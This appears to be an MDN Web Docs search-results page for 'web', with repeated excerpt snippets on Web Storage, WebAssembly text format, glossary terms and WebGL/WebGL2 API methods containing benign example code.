...roperties -- Window.sessionStorage and Window.localStorage -- which provide access to the current domain's session and local Storage objects respectively, and a Window.onstorage event handler that fires when a storage area changes (e.g. a new item is stored.) StorageEvent The storage event is fired on a document's Window object when a storage area changes. Examples To illustrate some typical
web storage usage, we have created a simple example, imaginatively called
Web Storage Demo. The landing page provides controls that can be used to customize the colour, font and decorative image. When you choose different options, the page is instantly updated; in addition your choices are stored in localStorage, so that when you leave the page then load it again later on your choices are remembered.
Converting WebAssembly text format to wasm - WebAssembly
WebAssembly has an S-expression-based textual representation, an intermediate form designed to be exposed in text editors, browser developer tools, etc. This article explains a little bit about how it works, and how to use available tools to convert text format files to the .wasm assembly format. Note: Text format files are usually saved with a .wat extension. Historically, a .wast extension was also used, however that's now used for the scripting language used by the
WebAssembly testsuite. A first look at the text format Let's look at a simple example of this -- the following program imports a function called imported_func from a module called imports, and exports a function called exported_func: (module (func $i (import "imports" "imported_func") (param i32)) (func (export "expor...
...When it is called, it calls an imported JavaScript function called imported_func, which is run with the value (42) provided as a parameter. ...
...s look at a simple example of this -- the following program imports a function called imported_func from a module called imports, and exports a function called exported_func: (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i ) ) The
WebAssembly function exported_func is exported for use in our environment (e.g. the
web app in which we are using our
WebAssembly module). When it is called, it calls an imported JavaScript function called imported_func, which is run with the value (42) provided as a parameter. Converting the text .wat into a binary .wasm file Let's have a go at converting the above .wat text representation example into .wasm assembly format. To start with, make a copy of the above listing insi...
... Let's have a go at converting the above .wat text representation example into .wasm assembly format. To start with, make a copy of the above listing inside a text file; call it simple.wat. We need to assemble this textual representation into the assembly language the browser actually reads before we can use it. To do this, we can use the wabt tool, which includes compilers to convert between
WebAssembly's text representation and wasm, and vice versa, plus more besides. Go to https://github.com/
webassembly/wabt -- follow the instructions on this page to set up the tool. Once you've got the tool built, add the /wabt/out/clang/Debug directory to your system PATH. Next, execute the wat2wasm program, passing it the path to the input file, followed by an -o parameter, followed by the path to...
Apple Safari - MDN Web Docs Glossary: Definitions of Web-related terms
Safari is a
Web browser developed by Apple and bundled with both macOS and iOS. It's based on the open source
WebKit engine. ...
... Safari is a
Web browser developed by Apple and bundled with both macOS and iOS. It's based on the open source
WebKit engine. ...
... Safari is a
Web browser developed by Apple and bundled with both macOS and iOS. It's based on the open source
WebKit engine. ...
CardDAV - MDN Web Docs Glossary: Definitions of Web-related terms
CardDAV (vCard Extension to
WebDAV) is a protocol standardized by the IETF and used to remote-access or share contact information over a server. ...
... CardDAV (vCard Extension to
WebDAV) is a protocol standardized by the IETF and used to remote-access or share contact information over a server. ...
... CardDAV (vCard Extension to
WebDAV) is a protocol standardized by the IETF and used to remote-access or share contact information over a server. ...
Crawler - MDN Web Docs Glossary: Definitions of Web-related terms
Typically search engines (e.g. Google, Bing, etc.) use crawlers to build indexes. ...
... A
web crawler is a program, often called a bot or robot, which systematically browses the
Web to collect data from
webpages. Typically search engines (e.g. ...
... A
web crawler is a program, often called a bot or robot, which systematically browses the
Web to collect data from
webpages. Typically search engines (e.g. ...
Developer Tools - MDN Web Docs Glossary: Definitions of Web-related terms
They let users inspect and debug the page's HTML, CSS, and JavaScript, allow to inspect the network traffic it causes, make it possible to measure it's performance, and much more. ...
...ols" or short "DevTools") are programs that allow a developer to create, test and debug software. Current browsers provide integrated developer tools, which allow to inspect a
website. ...
...a
website. They let users inspect and debug the page's HTML, CSS, and JavaScript, allow to inspect the network traffic it causes, make it possible to measure it's performance, and much more. ...
Global object - MDN Web Docs Glossary: Definitions of Web-related terms
This is the vast majority of JavaScript code on the
Web. Code running in a Worker has a WorkerGlobalScope object as its global object. ...
...This is the vast majority of JavaScript code on the
Web. Code running in a Worker has a WorkerGlobalScope object as its global object. ...
...eate global variables, they're created as members of the global object. (In Node.js this is not the case.) The global object's interface depends on the execution context in which the script is running. For example: In a
web browser, any code which the script doesn't specifically start up as a background task has a Window as its global object. This is the vast majority of JavaScript code on the
Web. Code running in a Worker has a WorkerGlobalScope object as its global object. Scripts running under Node.js have an object called global as their global object. window object in the Browser The window object is the Global Object in the Browser. Any Global Variables or Functions can be accessed as properties of the window object. Access Global Variables var foo = "foobar"; foo === window.f...
Google Chrome - MDN Web Docs Glossary: Definitions of Web-related terms
Google pushes updates frequently and has designed the distributions to run side-by-side with the stable version. Visit the Chrome Releases Blog to learn what's new. ...
...Google pushes updates frequently and has designed the distributions to run side-by-side with the stable version. Visit the Chrome Releases Blog to learn what's new. ...
...y Google. It's based on the Chromium open source project. Some key differences are described on the Chromium wiki. Chrome supports its own layout called Blink. Note that the iOS version of Chrome uses that platform's
WebView, not Blink. Learn more General knowledge Google Chrome on Wikipedia For Chrome Users Use one of these links if you're an everyday user. Android iOS Desktop For
Web Developers If you want to try the latest Chrome features, install one of the pre-stable builds. Google pushes updates frequently and has designed the distributions to run side-by-side with the stable version. Visit the Chrome Releases Blog to learn what's new. Chrome Dev for Android Chrome Canary for desktop. ...
HTML - MDN Web Docs Glossary: Definitions of Web-related terms
Brief history In 1990, as part of his vision of the
Web, Tim Berners-Lee defined the concept of hypertext, which Berners-Lee formalized the following year through a markup mainly based on SGML. The IETF began formally specifying HTML in 1993, and after several drafts released version 2.0 in 1995. In 1994 Berners-Lee founded the W3C to develop the
Web. In 1996, the W3C took over the HTML work and published the HTML 3.2 recommendation a year later. HTML 4.0 was released in 1999 and became an ISO standard in 2000. ...
...s are surrounded by matching opening and closing tags. Each tag begins and ends with angle brackets (<>). There are a few empty or void tags that cannot enclose any text, for instance <img>. ...
...d closing tags. Each tag begins and ends with angle brackets (<>). There are a few empty or void tags that cannot enclose any text, for instance <img>. You can extend HTML tags with attributes, which provide additional information affecting how the browser interprets the element: An HTML file is normally saved with an .htm or .html extension, served by a
web server, and can be rendered by any
Web browser. Learn more General knowledge HTML on Wikipedia Learning HTML Our HTML tutorial The
web course on codecademy.com Technical reference The HTML documentation on MDN The HTML specification ...
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
e input is sent to the controller, which then manipulates the model as appropriate, which then sends updated data to the view. You might however also want to just update the view to display the data in a different format, e.g., change the item order to alphabetical, or lowest to highest price. In this case the controller could handle this directly without needing to update the model. MVC on the
web As a
web developer, this pattern will probably be quite familiar even if you've never consciously used it before. Your data model is probably contained in some kind of database (be it a traditional server-side database like MySQL, or a client-side solution such as IndexedDB [en-US].) Your app's controlling code is probably written in HTML/JavaScript, and your user interface is probably written u...
... some kind of database (be it a traditional server-side database like MySQL, or a client-side solution such as IndexedDB [en-US].) Your app's controlling code is probably written in HTML/JavaScript, and your user interface is probably written using HTML/CSS/whatever else you like. This sounds very much like MVC, but MVC makes these components follow a more rigid pattern. ...
...w a more rigid pattern. In the early days of the
Web, MVC architecture was mostly implemented on the server-side, with the client requesting updates via forms or links, and receiving updated views back to display in the browser. However, these days, more of the logic is pushed to the client with the advent of client-side data stores, and XMLHttpRequest allowing partial page updates as required.
Web frameworks such as AngularJS and Ember.js all implement an MVC architecture, albeit in slightly different ways. Learn more General knowledge Model-view-controller on Wikipedia ...
Quaternion - MDN Web Docs Glossary: Definitions of Web-related terms
A quaternion is the quotient of two 3D vectors and is used in 3D graphics and in accelerometer-based sensors to represent orientation or rotational data. ...
... A quaternion is the quotient of two 3D vectors and is used in 3D graphics and in accelerometer-based sensors to represent orientation or rotational data. ...
... unit quaternions (or rotational quaternions) used to represent rotation while using
WebGL or
WebXR, for example, are represented using the same syntax as a 3D point. As such, the type DOMPoint (or DOMPointReadOnly) is used to store quaternions. ...
Specification - MDN Web Docs Glossary: Definitions of Web-related terms
A specification is a document that lays out in detail what functionality or attributes a product must include before delivery. ...
... A specification is a document that lays out in detail what functionality or attributes a product must include before delivery. ...
... in detail what functionality or attributes a product must include before delivery. In the context of describing the
Web, the term "specification" (often shortened to simply "spec") generally means a document describing a language, technology, or API which makes up the complete set of open
Web technologies. ...
Thread - MDN Web Docs Glossary: Definitions of Web-related terms
Thread in computer science is the execution of running multiple tasks or programs at the same time. Each unit capable of executing code is called a thread. The main thread is the one used by the browser to handle user events, render and paint the display, and to run the majority of the code that comprises a typical
web page or app. ...
... Thread in computer science is the execution of running multiple tasks or programs at the same time. Each unit capable of executing code is called a thread. The main thread is the one used by the browser to handle user events, render and paint the display, and to run the majority of the code that comprises a typical
web page or app. ...
...This allows slow, complex, or long-running tasks to be executed independently of the main thread, preserving the overall performance of the site or app--as well as that of the browser overall. This also allows individuals to take advantage of modern multi-core processors. ...
W3C - MDN Web Docs Glossary: Definitions of Web-related terms
The W3C coordinates companies in the industry to make sure they implement the same W3C standards. Each standard passes through four stages of maturity: Working Draft (WD), Candidate Recommendation (CR), Proposed Recommendation (PR), and W3C Recommendation (REC). ...
...The W3C coordinates companies in the industry to make sure they implement the same W3C standards. Each standard passes through four stages of maturity: Working Draft (WD), Candidate Recommendation (CR), Proposed Recommendation (PR), and W3C Recommendation (REC). ...
...velop
Web standards, run outreach programs, and maintain an open forum for talking about the
Web. The W3C coordinates companies in the industry to make sure they implement the same W3C standards. Each standard passes through four stages of maturity: Working Draft (WD), Candidate Recommendation (CR), Proposed Recommendation (PR), and W3C Recommendation (REC). Learn more General knowledge W3C
website W3C on Wikipedia ...
WHATWG - MDN Web Docs Glossary: Definitions of Web-related terms
Employees of Apple, Mozilla, and Opera established WHATWG in 2004. ...
... The WHATWG (
Web Hypertext Application Technology Working Group) is a community that maintains and develops
web standards, including DOM, Fetch, and HTML. ...
... The WHATWG (
Web Hypertext Application Technology Working Group) is a community that maintains and develops
web standards, including DOM, Fetch, and HTML. ...
What do common web layouts contain? - Learn web development
When designing pages for your
website, it's good to have an idea of the most common layouts. Prerequisites: Make sure you've already thought about what you want to accomplish with your
web project. Objective: Learn where to put things on your
webpages, and how to put them there. Summary There's a reason we talk about
web design. You start out with a blank page, and you can take it so many directions. And if you don't have much experience, starting out with a blank page might be a bit scary. We have over 25 years' experience and we'll give you some common rules of thumb to help you design your site. Even now with the new focus on mobile
Web, almost all mainstream
webpages are built from these parts: Header Visible at the top of every page on the site. C...
...designs and exceptions, of course. In other articles we'll discuss how to design responsive sites (sites that change depending on the screen size) and sites whose layouts vary between pages. For now, it's best to keep your layout consistent throughout your site. Active learning There is no active learning available yet. Deeper dive Let's study some more concrete examples taken from well-known
websites. One-column layout Invision application. A typical one-column layout providing all the information linearly on one page. Quite straightforward. Just remember, many people will still browse your site from desktops, so make your content usable/readable there as well. Two-column layout. Abduzeedo, a simple blog layout. Blogs usually have two columns, a fat one for the main conten...
...the image of the main content. The way the curve of the header's menu ties in with the curve at the bottom of the image, the header and main content look like one thing even though they're technically completely different. The Opera example looks more complex than the MICA example, but it's actually easier to implement (all right, "easy" is a relative concept). As you see, you can craft stunning
websites even with just basic layouts. Have a look at your own favorite
websites and ask yourself, where's the header, the footer, the main content, and the side content? That will inspire you for your own design and give you good hints for which designs work and which ones don't. ...
How do you host your website on Google App Engine? - Learn web development
Creating a Google Cloud Platform project To use Google's tools for your own site or app, you need to create a new project on Google Cloud Platform. This requires having a Google account. Go to the App Engine dashboard on the Google Cloud Platform Console and press the Create button. ...
... Sample Site Project ID: gaesamplesite Click the Create button to create your project. Creating an application Each Cloud Platform project can contain one App Engine application. Let's prepare an app for our project. We'll need a sample application to publish. If you've not got one to use, download and unzip this sample app. Have a look at the sample application's structure -- the
website folder contains your
website content and app.yaml is your application configuration file. Your
website content must go inside the
website folder, and its landing page must be called index.html, but apart from that it can take whatever form you like. The app.yaml file is a configuration file that tells App Engine how to map URLs to your static files. You don't need to edit it. ...
...For example, for the project ID gaesamplesite, go to gaesamplesite.appspot.com. ...
Element: webkitmouseforcechanged event - Web APIs
This event first fires after the mousedown event and stops firing before the mouseup event. Specifications Not part of any specification. ...
... This event first fires after the mousedown event and stops firing before the mouseup event. Specifications Not part of any specification. ...
... The non-standard
webkitmouseforcechanged event is fired by Safari each time the amount of pressure changes on the trackpad/touchscreen. Bubbles Unknown Cancelable Unknown Interface MouseEvent
webkitmouseforcechanged is a proprietary,
WebKit-specific event introduced by Apple to support their Force Touch events feature. This event first fires after the mousedown event and stops firing before the mouseup event. Specifications Not part of any specification. Apple has a description at the Mac Developer Library. ...
Element: webkitmouseforcewillbegin event - Web APIs
It is part of the Force Touch events feature. Specifications Not part of any specification. ...
...It is part of the Force Touch events feature. Specifications Not part of any specification. Apple has a description at the Mac Developer Library. ...
...t to trigger any default Force Touch actions if and when the click turns into a Force Touch event. To instruct macOS not to engage any default Force Touch actions if the user apply enough pressure to activate a Force Touch event, call preventDefault() on the
webkitmouseforcewillbegin event object. Bubbles Unknown Cancelable Unknown Interface MouseEvent
webkitmouseforcewillbegin is a proprietary,
WebKit-specific event. It is part of the Force Touch events feature. Specifications Not part of any specification. Apple has a description at the Mac Developer Library. ...
HTMLCanvasElement: webglcontextcreationerror event - Web APIs
The
webglcontextcreationerror event of the
WebGL API is fired if the user agent is unable to create a
WebGLRenderingContext context. This event has a
WebGLContextEvent.statusMessage property, which can contain a platform dependent string with more information about the failure. ...
... The
webglcontextcreationerror event of the
WebGL API is fired if the user agent is unable to create a
WebGLRenderingContext context. This event has a
WebGLContextEvent.statusMessage property, which can contain a platform dependent string with more information about the failure. ...
...ebGLRenderingContext context. This event has a
WebGLContextEvent.statusMessage property, which can contain a platform dependent string with more information about the failure. Bubbles Yes Cancelable Yes Interface
WebGLContextEvent Event handler property none Example var canvas = document.getElementById('canvas'); canvas.addEventListener('
webglcontextcreationerror', function(e) { console.log(e.statusMessage || 'Unknown error'); }, false); var gl = canvas.getContext('
webgl'); // logs statusMessage or "Unknown error" if unable to create
WebGL context Specifications Specification Status Comment
WebGL 1.0The definition of '
webglcontextcreationerror' in that specification. Recommendation Initial definiti...
HTMLCanvasElement: webglcontextlost event - Web APIs
The
webglcontextlost event of the
WebGL API is fired if the user agent detects that the drawing buffer associated with a
WebGLRenderingContext object has been lost. Bubbles Yes Cancelable Yes Interface
WebGLContextEvent Event handler property none Example With the help of the
WEBGL_lose_context extension, you can simulate the
webglcontextlost event: const canvas = document.getElementById('canvas'); const gl = canvas.getContext('
webgl'); canvas.addEventListener('
webglcontextlost', (event) => { console.log(event); }); gl.getExtension('
WEBGL_lose_context').loseContext(); // "
webglcontextlost" event is logged. ...
... Recommendation Initial definition. ...
...ulate the
webglcontextlost event: const canvas = document.getElementById('canvas'); const gl = canvas.getContext('
webgl'); canvas.addEventListener('
webglcontextlost', (event) => { console.log(event); }); gl.getExtension('
WEBGL_lose_context').loseContext(); // "
webglcontextlost" event is logged. Specifications Specification Status Comment
WebGL 1.0The definition of '
webglcontextlost' in that specification. Recommendation Initial definition. ...
WEBGL_compressed_texture_etc1 - Web APIs
The
WEBGL_compressed_texture_etc1 extension is part of the
WebGL API and exposes the ETC1 compressed texture format. Compressed textures reduce the amount of memory needed to store a texture on the GPU, allowing for higher resolution textures or more of the same resolution textures.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is available to both,
WebGL1 and
WebGL2 contexts. Constants The compressed texture format is exposed by a constant and can be used with the compressedTexImage2D() method (note that ETC1 is not supported with the compressedTexSubImage2D() method). ...
...tExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: This extension is available to both,
WebGL1 and
WebGL2 contexts. Constants The compressed texture format is exposed by a constant and can be used with the compressedTexImage2D() method (note that ETC1 is not supported with the compressedTexSubImage2D() method). ...
...ailability: This extension is available to both,
WebGL1 and
WebGL2 contexts. Constants The compressed texture format is exposed by a constant and can be used with the compressedTexImage2D() method (note that ETC1 is not supported with the compressedTexSubImage2D() method). ext.COMPRESSED_RGB_ETC1_
WEBGL Compresses 24-bit RGB data with no alpha channel. Examples var ext = gl.getExtension('
WEBGL_compressed_texture_etc1'); var texture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, texture); gl.compressedTexImage2D(gl.TEXTURE_2D, 0, ext.COMPRESSED_RGB_ETC1_
WEBGL, 512, 512, 0, textureData); Specifications Specification Status Comment
WEBGL_compressed_texture_etc1The definition of '
WEBGL_compressed_texture_etc1' in that specification. Draft Initial d...
WEBGL_compressed_texture_pvrtc - Web APIs
The
WEBGL_compressed_texture_pvrtc extension is part of the
WebGL API and exposes four PVRTC compressed texture formats. Compressed textures reduce the amount of memory needed to store a texture on the GPU, allowing for higher resolution textures or more of the same resolution textures.
WebGL extensions are available using the
WebGLRenderingContext.getExtension() method. For more information, see also Using Extensions in the
WebGL tutorial. Availability: PVRTC is typically only available on mobile devices with PowerVR chipsets. It is used in all generations of the iPhone, iPod Touch and iPad and supported on certain Android devices that use a PowerVR GPU. This extension is available to both,
WebGL1 and
WebGL2 contexts. ...
...ore information, see also Using Extensions in the
WebGL tutorial. Availability: PVRTC is typically only available on mobile devices with PowerVR chipsets. It is used in all generations of the iPhone, iPod Touch and iPad and supported on certain Android devices that use a PowerVR GPU. This extension is available to both,
WebGL1 and
WebGL2 contexts. Note: On iOS devices, this extension is named
WEBKIT_
WEBGL_compressed_texture_pvrtc. Constants The compressed texture formats are exposed by four constants and can be used in two functions: compressedTexImage2D() (where the height and width parameters must be powers of 2) and compressedTexSubImage2D() (where the the height and width parameters must equal the current values of the existing texture and the xoffset and yoffset parameters must be...
...ompression in 4-bit mode. One block for each 4x4 pixels. ext.COMPRESSED_RGBA_PVRTC_4BPPV1_IMG RGBA compression in 4-bit mode. One block for each 4x4 pixels. ext.COMPRESSED_RGB_PVRTC_2BPPV1_IMG RGB compression in 2-bit mode. One block for each 8x4 pixels. ext.COMPRESSED_RGBA_PVRTC_2BPPV1_IMG RGBA compression in 2-bit mode. One block for each 8x4 pixels. Examples var ext = gl.getExtension('
WEBGL_compressed_texture_pvrtc'); var texture = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, texture); gl.compressedTexImage2D(gl.TEXTURE_2D, 0, ext.COMPRESSED_RGB_PVRTC_4BPPV1_IMG, 512, 512, 0, textureData); Specifications Specification Status Comment
WEBGL_compressed_texture_pvrtcThe definition of '
WEBGL_compressed_texture_pvrtc' in that specification. Draft ...
WEBGL_debug_shaders.getTranslatedShaderSource() - Web APIs
Return value A String containing the translated shader source. An empty string is returned, if: no source has been defined or,
WebGLRenderingContext.compileShader() has not yet been called or, the translation for the shader failed. ...
...aders.getTranslatedShaderSource() method is part of the
WebGL API and allows you to debug a translated shader. Syntax gl.getExtension('
WEBGL_debug_shaders').getTranslatedShaderSource(shader); Parameters shader A
WebGLShader to get the translated source from. Return value A String containing the translated shader source. An empty string is returned, if: no source has been defined or,
WebGLRenderingContext.compileShader() has not yet been called or, the translation for the shader failed. Examples var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var shader = gl.createShader(gl.FRAGMENT_SHADER); gl.shaderSource(shader, 'void main() { gl_FragColor = vec4(gl_FragCoord.x, 0.0, 0.0, 1.0); }'); gl.compileShader(shader); var src = gl.getExtension(...
...LRenderingContext.compileShader() has not yet been called or, the translation for the shader failed. Examples var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); var shader = gl.createShader(gl.FRAGMENT_SHADER); gl.shaderSource(shader, 'void main() { gl_FragColor = vec4(gl_FragCoord.x, 0.0, 0.0, 1.0); }'); gl.compileShader(shader); var src = gl.getExtension('
WEBGL_debug_shaders').getTranslatedShaderSource(shader); console.log(src); // "void main(){ // (gl_FragColor = vec4(gl_FragCoord.x, 0.0, 0.0, 1.0)); // }" Specifications Specification Status Comment
WEBGL_debug_shadersThe definition of '
WEBGL_debug_shaders.getTranslatedShaderSource' in that specification. Recommendation Initial definition. ...
WEBGL_lose_context.loseContext() - Web APIs
The
WEBGL_lose_context.loseContext() method is part of the
WebGL API and allows you to simulate losing the context of a
WebGLRenderingContext context. It triggers the steps described in the
WebGL specification for handling context lost. The context will remain lost until
WEBGL_lose_context.restoreContext() is called. Syntax gl.getExtension('
WEBGL_lose_context').loseContext(); Examples With this method, you can simulate the
webglcontextlost event: var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); canvas.addEventListener('
webglcontextlost', function(e) { console.log(e); }, false); gl.getExtension('
WEBGL_lose_context').loseContext(); //
WebGLContextEvent event with type "
webglcontextlost" is logged. Specifications Specification Status...
... Recommendation Initial definition. ...
... canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); canvas.addEventListener('
webglcontextlost', function(e) { console.log(e); }, false); gl.getExtension('
WEBGL_lose_context').loseContext(); //
WebGLContextEvent event with type "
webglcontextlost" is logged. Specifications Specification Status Comment
WEBGL_lose_contextThe definition of '
WEBGL_lose_context.loseContext' in that specification. Recommendation Initial definition. ...
WebGL2RenderingContext.bindSampler() - Web APIs
Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glBindSampler' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glBindSampler' in that specification. ...
...t to the texture unit at the passed index. Syntax void gl.bindSampler(unit, sampler); Parameters unit A GLuint specifying the index of the texture unit to which to bind the sampler to. sampler A
WebGLSampler object to bind. Return value None. Examples var sampler = gl.createSampler(); gl.bindSampler(0, sampler); Specifications Specification Status Comment
WebGL 2.0The definition of 'bindSampler' in that specification. Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glBindSampler' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.bindVertexArray() - Web APIs
Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glBindVertexArray' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glBindVertexArray' in that specification. ...
... Editor's Draft Initial definition. ...
WebGL2RenderingContext.clientWaitSync() - Web APIs
flags A GLbitfield specifying a bitwise combination of flags controlling the flushing behavior. May be gl.SYNC_FLUSH_COMMANDS_BIT. timeout A GLint64 specifying a timeout (in nanoseconds) for which to wait for the sync object to become signaled. Must not be larger than gl.MAX_CLIENT_WAIT_TIMEOUT_
WEBGL. Return value A GLenum indicating the sync object's status. gl.ALREADY_SIGNALED: Indicates that the sync object was signaled when this method was called. ...
...clientWaitSync(sync, flags, timeout); Parameters sync A
WebGLSync object on which to wait on. flags A GLbitfield specifying a bitwise combination of flags controlling the flushing behavior. May be gl.SYNC_FLUSH_COMMANDS_BIT. timeout A GLint64 specifying a timeout (in nanoseconds) for which to wait for the sync object to become signaled. Must not be larger than gl.MAX_CLIENT_WAIT_TIMEOUT_
WEBGL. Return value A GLenum indicating the sync object's status. gl.ALREADY_SIGNALED: Indicates that the sync object was signaled when this method was called. gl.TIMEOUT_EXPIRED: Indicates that the timeout time passed and that the sync object did not become signaled. gl.CONDITION_SATISFIED: Indicates that the sync object was signaled before the timeout expired. gl.WAIT_FAILED: Indicates tha...
...hat the sync object did not become signaled. gl.CONDITION_SATISFIED: Indicates that the sync object was signaled before the timeout expired. gl.WAIT_FAILED: Indicates that an error occurred during the execution. Examples var sync = gl.fenceSync(gl.SYNC_GPU_COMMANDS_COMPLETE, 0); var status = gl.clientWaitSync(sync, 0, 0); Specifications Specification Status Comment
WebGL 2.0The definition of 'clientWaitSync' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glClientWaitSync' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.copyBufferSubData() - Web APIs
Syntax void gl.copyBufferSubData(readTarget, writeTarget, readOffset, writeOffset, size); Parameters readTarget writeTarget A GLenum specifying the binding point (target) from whose data store should be read or written. Possible values: gl.ARRAY_BUFFER: Buffer containing vertex attributes, such as vertex coordinates, texture coordinate data, or vertex color data. gl.ELEMENT_ARRAY_BUFFER: Buffer used for element indices. gl.COPY_READ_BUFFER: Buffer for copying from one buffer object to another (provided specifically for copy operations). ...
... OpenGL ES 3.0The definition of 'glCopyBufferSubData' in that specification. Standard Man page of the (similar) OpenGL API. ...
... OpenGL ES 3.0The definition of 'glCopyBufferSubData' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.deleteVertexArray() - Web APIs
Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glDeleteVertexArrays' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glDeleteVertexArrays' in that specification. ...
... Editor's Draft Initial definition. OpenGL ES 3.0The definition of 'glDeleteVertexArrays' in that specification. ...
WebGL2RenderingContext.samplerParameter[if]() - Web APIs
pname A GLenum specifying which parameter to set. Possible values: gl.TEXTURE_COMPARE_FUNC: A GLenum specifying the texture comparison function. gl.TEXTURE_COMPARE_MODE: A GLenum specifying the texture comparison mode. gl.TEXTURE_MAG_FILTER: A GLenum specifying the texture magnification filter. gl.TEXTURE_MAX_LOD: A GLfloat specifying the maximum level-of-detail value. ...
...e. Examples var sampler = gl.createSampler(); gl.samplerParameteri(sampler, gl.TEXTURE_MAG_FILTER, gl.NEAREST); Specifications The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rameteriChrome Full support 56Edge Full support 79Firefox Full support 51IE No support NoOpera Full support 43Safari No support No
WebView Android Full support 58Chrome Android Full support 58Firefox Android Full support 51Opera Android Full support 43Safari iOS No support NoSamsung Internet Android ...
WebGL2RenderingContext.texStorage2D() - Web APIs
Syntax void gl.texStorage2D(target, levels, internalformat, width, height); Parameters target A GLenum specifying the binding point (target) of the active texture. Possible values: gl.TEXTURE_2D: A two-dimensional texture. gl.TEXTURE_CUBE_MAP: A cube-mapped texture. levels A GLint specifying the number of texture levels. internalformat A GLenum specifying the texture store format. ...
...r of texture levels. internalformat A GLenum specifying the texture store format. Possible values: gl.R8 gl.R16F gl.R32F gl.R8UI gl.RG8 gl.RG16F gl.RG32F gl.RG8UI gl.RGB8 gl.SRGB8 gl.RGB565 gl.R11F_G11F_B10F gl.RGB9_E5 gl.RGB16F gl.RGB32F gl.RGB8UI gl.RGBA8 gl.SRGB8_APLHA8 gl.RGB5_A1 gl.RGBA4 gl.RGBA16F gl.RGBA32F gl.RGBA8UI Unlike OpenGL 3.0,
WebGL 2 doesn't support the following ETC2 and EAC compressed texture formats (see section 5.37 in the
WebGL 2 spec). You might be able to enable them via the
WEBGL_compressed_texture_etc extension, though. gl.COMPRESSED_R11_EAC gl.COMPRESSED_SIGNED_R11_EAC gl.COMPRESSED_RG11_EAC gl.COMPRESSED_SIGNED_RG11_EAC gl.COMPRESSED_RGB8_ETC2 gl.COMPRESSED_RGBA8_ETC2_EAC gl.COMPRESSED_SRGB8_ET...
...COMPRESSED_SRGB8_ALPHA8_ETC2_EAC gl.COMPRESSED_RGB8_PUNCHTHROUGH_ALPHA1_ETC2 gl.COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC2 width A GLsizei specifying the width of the texture. height A GLsizei specifying the height of the texture. Return value None. Examples gl.texStorage2D(gl.TEXTURE_2D, 1, gl.RGB8, 256, 256); Specifications Specification Status Comment
WebGL 2.0The definition of 'texStorage2D' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glTexStorage2D' in that specification. Standard Man page of the (similar) OpenGL ES 3.0 API. ...
WebGL2RenderingContext.uniform[1234][uif][v]() - Web APIs
ui stands for unsigned integer, i for integer, f for float, and v for vector. Not all combinations are valid: u cannot be combined with f. See the syntax table below. ...
... data, v0, v1, v2, v3 A new value to be used for the uniform variable. Possible types: A Number for unsigned integer values (methods with ui), for integer values (methods with i), or for floats (methods with f). A Uint32Array for unsigned integer vector methods (methods with uiv). Return value None. ...
...ute to modify. data, v0, v1, v2, v3 A new value to be used for the uniform variable. Possible types: A Number for unsigned integer values (methods with ui), for integer values (methods with i), or for floats (methods with f). A Uint32Array for unsigned integer vector methods (methods with uiv). Return value None. Specifications Specification Status Comment
WebGL 2.0The definition of 'uniform' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glUniform' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.uniformMatrix[234]x[234]fv() - Web APIs
There are no 2x2, 3x3, and 4x4 versions of this method. They are abbreviated in 2, 3, and 4, respectively. See the syntax below. ...
...l.uniformMatrix4x3fv(location, transpose, data, optional srcOffset, optional srcLength); void gl.uniformMatrix2x4fv(location, transpose, data, optional srcOffset, optional srcLength); void gl.uniformMatrix3x4fv(location, transpose, data, optional srcOffset, optional srcLength); void gl.uniformMatrix4fv(location, transpose, data, optional srcOffset, optional srcLength); Parameters location A
WebGLUniformLocation object containing the location of the uniform attribute to modify. transpose A GLboolean specifying whether to transpose the matrix. Must be false. data A Float32Array of float values. Return value None. Examples gl.uniformMatrix2x3fv(loc, false, [1, 2, 3, 4, 5, 6]); Specifications Specification Status Comment
WebGL 2.0The definition of 'uniform...
...o modify. transpose A GLboolean specifying whether to transpose the matrix. Must be false. data A Float32Array of float values. Return value None. Examples gl.uniformMatrix2x3fv(loc, false, [1, 2, 3, 4, 5, 6]); Specifications Specification Status Comment
WebGL 2.0The definition of 'uniformMatrix' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glUniformMatrix' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.waitSync() - Web APIs
flags A GLbitfield specifying a bitwise combination of flags controlling the flushing behavior. Must be 0 (exists for extensions only). timeout A GLint64 specifying a timeout the server should wait before continuing. Must be gl.TIMEOUT_IGNORED. Return value None. ...
... flags A GLbitfield specifying a bitwise combination of flags controlling the flushing behavior. Must be 0 (exists for extensions only). timeout A GLint64 specifying a timeout the server should wait before continuing. Must be gl.TIMEOUT_IGNORED. Return value None. ...
